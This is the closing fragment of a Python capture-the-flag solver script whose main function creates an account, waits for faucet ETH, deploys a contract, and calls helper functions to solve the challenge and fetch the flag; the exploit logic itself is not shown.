362 print("CTF Challenge Solver")
363 print("=" * 60)
364
365 try:
366 # Step 1: Create account and get token
367 deployer_address, token = create_account()
368
369 # Try to get ETH from faucet
370 get_faucet(deployer_address, token)
371
372 # Wait for ETH to arrive (200 seconds timeout, check every 2 seconds)
373 print("\n[*] Waiting for ETH to arrive in deployer account...")
374 print("[*] You can manually send ETH or wait for faucet...")
375
376 if not wait_for_eth(deployer_address, min_balance=0.001, timeout=200):
377 print("[!] Failed to get sufficient ETH. Exiting...")
378 return
379
380 print("\n[+] ETH received! Proceeding with deployment...")
381
382 # Step 2: Deploy contract
383 contract_address, tx_hash = deploy_contract(token)
384
385 # Wait for deployment
386 time.sleep(5)
387
388 # Step 3: Solve challenge
389 solved = solve_challenge(contract_address, deployer_address, token)
390
391 if solved:
392 # Step 4: Get flag
393 flag = get_flag(token)
394 print("\n[+] Challenge completed successfully!")
395 else:
396 print("\n[!] Failed to solve challenge")
397
398 except Exception as e:
399 print(f"\n[!] Error: {e}")
400 import traceback
401 traceback.print_exc()
402
403
404if __name__ == "__main__":
405 main()
Comments will be available soon.